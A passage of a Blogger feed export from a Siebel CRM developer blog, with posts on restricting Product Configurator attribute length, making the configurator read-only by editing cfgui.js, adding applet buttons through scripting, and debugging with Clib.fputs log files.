bold;"&gt;Requirement&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;We have one requirement in our project, that we need to restrict the value of one attribute to five characters only.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In Siebel vanilla application we tried to implement this without doing scripting, but failed.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Solution we used:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;This requirement can be achieved in two ways:&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;1. By Scripting in Attribute Selected event. &lt;a href="http://exploringsiebel.blogspot.com/2009/08/how-to-restrict-length-of-attribute.html"&gt;update&lt;/a&gt; or&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;2. Creating Custom User Properties for product configurator.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I will be discussing the second solution in this post. It will involve editing of cfgui.js . For more info my older&lt;a href="http://exploringsiebel.blogspot.com/search/label/Product%20Configurator"&gt;&amp;nbsp;posts&amp;nbsp;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;1. Find the following code in cfgui file.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;a href="http://1.bp.blogspot.com/_mJfGtfR_Zdc/Sncvxp5xB7I/AAAAAAAAADE/ngvIjTuW6k8/s1600-h/1.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5365810011143473074" src="http://1.bp.blogspot.com/_mJfGtfR_Zdc/Sncvxp5xB7I/AAAAAAAAADE/ngvIjTuW6k8/s400/1.JPG" style="cursor: pointer; display: block; height: 132px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;try to find text: function showtextbox.&lt;/div&gt;&lt;div&gt;&lt;b&gt;Updated Section:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;2. Replace the code with :&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_mJfGtfR_Zdc/TBO0pYYNd9I/AAAAAAAAAGY/Y689-jUtkQ8/s1600/code.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_mJfGtfR_Zdc/TBO0pYYNd9I/AAAAAAAAAGY/Y689-jUtkQ8/s320/code.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;3. Create user property on the root product like:&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;a href="http://4.bp.blogspot.com/_mJfGtfR_Zdc/SncxFO9eYOI/AAAAAAAAADU/s-LgZmp1c-U/s1600-h/1.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5365811447020282082" src="http://4.bp.blogspot.com/_mJfGtfR_Zdc/SncxFO9eYOI/AAAAAAAAADU/s-LgZmp1c-U/s400/1.JPG" style="cursor: hand; cursor: pointer; display: block; height: 158px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;and you are done!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now clear cache of browser and restart the client.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Attribute on which you have defined the property will automatically be constrained by the number of characters that you have provided in property.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;Hope its is understandable.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For more info how it worked, look at the maxlength property&lt;a href="http://www.w3schools.com/htmldom/prop_text_maxlength.asp"&gt; here.&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-1982311046385889208?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/1982311046385889208/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=1982311046385889208&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/1982311046385889208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/1982311046385889208'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/siebel-product-configurator-how-to.html' title='Siebel Product Configurator: How to restrict attribute length?'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mJfGtfR_Zdc/Sncvxp5xB7I/AAAAAAAAADE/ngvIjTuW6k8/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-4747776893279519138</id><published>2009-08-02T07:42:00.000-07:00</published><updated>2009-09-27T12:19:21.131-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Product Configurator'/><title type='text'>Read only Siebel Product Configurator.</title><content type='html'>Requirement:&lt;br /&gt;Requirement is to make the Configurator session read only conditionally, so that user should not be able to edit the product configuration but he should be able to view the configuration inside the configurator.&lt;br /&gt;&lt;br /&gt;Solution&lt;br /&gt;This requirement can be implemented by editing vanilla/custom JavaScript libraries of the Product Configurator. The most of the work in showing the UI is done by &lt;a href="http://exploringsiebel.blogspot.com/2009/07/editing-conflict-page-of-siebel-product.html"&gt;&lt;span style="font-family: arial;"&gt;cfgui.js&lt;/span&gt;&lt;/a&gt;file.&lt;br /&gt;&lt;br /&gt;Cfgui.js is a javascript library that converts the swe tags to the HTML tags that shows up as UI in siebel application.&lt;br /&gt;&lt;br /&gt;For Example:&lt;br /&gt;&lt;br /&gt;Here is one code in the swe template :&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&amp;lt; id="swe:IncPAId+853" cfgfieldname="AttValue" cfghtmltype="CfgTextBox" forcerefresh="Y" cfgjsshow="showTextBox" cfgjsupdateselection="updateSelectionInfoForAttribute" &amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now in cfgui this swe code is converted in to HTML like this: &lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;innerHTML = " &lt; input type=\"teext\" " + "value=\"" + displayValue + "\" " + "id=\"GRPITEM" + _pipe + grpItemId + _underscore + "ATTTYPE" + _pipe + "TEXT" +"\"" + " onchange='processInput(\"GRPITEM" + _pipe + grpItemId + _underscore + "ATTTYPE" + _pipe + "TEXT" +"\", \"\", \"text\")' /&gt;";&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;now when you closely go through the code, you will create the following string at the output:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;&amp;lt; type="”text”" value="”Somevalue" id="”generated" onchange="”processInput(“Some arguments") &amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and that looks like very basic html snipet, which can be edited to make control read only by adding disabled=true in the js code tag.&lt;br /&gt;&lt;br /&gt;To make it work conditionally, we can check for the some profile attribute inside the js file like this:&lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;var readonly = top.theApplication().GetProfileAttr("ReadOnly");&lt;br /&gt;top.theApplication().SetProfileAttr("ReadOnly","N");&lt;br /&gt;&lt;br /&gt;if (readOnly == "Y")&lt;br /&gt;innerHTML = "&lt;input disabled=true type=\"text\" " + "value=\"" + displayValue + "\" " + "id=\"GRPITEM" + _pipe + grpItemId + _underscore + "ATTTYPE" + _pipe + "TEXT" +"\"" + " onchange='processInput(\"GRPITEM" + _pipe + grpItemId + _underscore + "ATTTYPE" + _pipe + "TEXT" +"\", \"\", \"text\")' /&gt;";&lt;br /&gt;&lt;br /&gt;else&lt;br /&gt;innerHTML = "&lt;input type=\"text\" " + "value=\"" + displayValue + "\" " + "id=\"GRPITEM" + _pipe + grpItemId + _underscore + "ATTTYPE" + _pipe + "TEXT" +"\"" + " onchange='processInput(\"GRPITEM" + _pipe + grpItemId + _underscore + "ATTTYPE" + _pipe + "TEXT" +"\", \"\", \"text\")' /&gt;";&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-4747776893279519138?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/4747776893279519138/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=4747776893279519138&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4747776893279519138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4747776893279519138'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/read-only-siebel-product-configurator.html' title='Read only Siebel Product Configurator.'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-3042678745236894882</id><published>2009-08-01T21:46:00.000-07:00</published><updated>2009-08-02T09:16:45.486-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Configuration'/><category scheme='http://www.blogger.com/atom/ns#' term='Best Practices'/><title type='text'>Siebel: Adding Button on Applet - Part 1</title><content type='html'>&lt;div&gt;&lt;div&gt;This is one of the basic thing that we&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt; do in our siebel application. And every developer prefer his own way of configuring it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;From my past experience there are two basic requirement for custom buttons :&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;1. It should &lt;/span&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;invoke&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt; a &lt;/span&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Workflow or Business Service&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;2. It should become&lt;/span&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt; Active/Inactive&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;  based on certain condition.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Based on these requirements first solution that come to our mind is with a script in Pre_CanInvoke of applet, but there are lot more options available in Siebel for this requirement.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First lets see how a scripting can solve this problem&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Solution1: Scripting Applet and BC&lt;/span&gt;&lt;/div&gt;&lt;div&gt;1. Create Control in Form or List Applet, Set its method invoke to name of the method.&lt;/div&gt;&lt;div&gt;2. Place it on the web layout of applet.&lt;/div&gt;&lt;div&gt;3. Write following script on applet pre can invoke event:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_mJfGtfR_Zdc/SnW6EPR73WI/AAAAAAAAAC8/NoY8TlD9LA4/s1600-h/1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 150px;" src="http://3.bp.blogspot.com/_mJfGtfR_Zdc/SnW6EPR73WI/AAAAAAAAAC8/NoY8TlD9LA4/s400/1.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5365399113065815394" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;4. Write the actual code to call service or workflow in &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Applet&lt;/span&gt; pre invoke or&lt;span class="Apple-style-span" style="font-weight: bold;"&gt; BusComp&lt;/span&gt; PreInvoke.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This trick work always irrespective of the application or interactivity of the application or the applet type.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;But there are options available in Siebel that can be used to  achieve this functionality without use of scripting. We will examine other options in my next post!&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-3042678745236894882?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/3042678745236894882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=3042678745236894882&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/3042678745236894882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/3042678745236894882'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/siebel-adding-button-on-applet-part-1.html' title='Siebel: Adding Button on Applet - Part 1'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_mJfGtfR_Zdc/SnW6EPR73WI/AAAAAAAAAC8/NoY8TlD9LA4/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-6824227351418276882</id><published>2009-08-01T11:40:00.000-07:00</published><updated>2009-08-01T14:30:46.886-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel eScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Miscellaneous'/><title type='text'>Debugging Siebel - Creatng custom logs using Clib.fputs</title><content type='html'>&lt;p class="MsoNormal"&gt;When it comes to debugging &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Siebel&lt;/span&gt; application, no one beats the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Siebel&lt;/span&gt; vanilla logs (events logs governed by environmental variables), but every developer use his own techniques to debug his configuration.&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;In this post I am discussing the way I debug my things.&lt;/p&gt;&lt;p class="MsoNormal"&gt;I add following piece of code at every event that I want to monitor, and add my required parameters to it, and then just compile all the objects and run the scenario.&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;?xml:namespace prefix = o /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-tab-span" style="WHITE-SPACE: pre"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;var date = new Date();&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-tab-span" style="WHITE-SPACE: pre"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;var &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;fp&lt;/span&gt; = &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Clib&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;fopen&lt;/span&gt;("d:\\log.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;txt&lt;/span&gt;","a");&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-tab-span" style="WHITE-SPACE: pre"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Clib&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;fputs&lt;/span&gt;("\n" + " &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;BCPreInvokeMethod&lt;/span&gt;" + " " + date,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;fp&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-tab-span" style="WHITE-SPACE: pre"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Clib&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;fclose&lt;/span&gt;(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;fp&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;In above code first line creates a date object that give the timestamp that will be &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_13"&gt;written&lt;/span&gt; in the log file. Second line creates a file pointer that opens file/creates file in write &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_14"&gt;mode. In&lt;/span&gt; next line &lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;Clib&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;fputs&lt;/span&gt; &lt;/span&gt;function writes string to the file. &lt;/p&gt;&lt;p class="MsoNormal"&gt;We can now simply alter &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_17"&gt;string&lt;/span&gt; according to our requirement, and get the exact output. &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;This way i get exact view of events and parameters in a flat file, that makes it really easy to understand the actual problem. If you are trying this code then you will get output something like :&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;PreInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;SetAspectSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;PreInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;SetAspectSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;PreInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;SetDefaultDurationSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;DeleteRecordSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;ShowQueryAssistantSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;ToggleListRowCountSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;ExecuteQuerySun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;GotoNextSetSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;GotoPreviousSetSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;NewQuerySun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;NewRecordSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;PositionOnRowSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;UndoQuerySun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;UndoRecordSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span 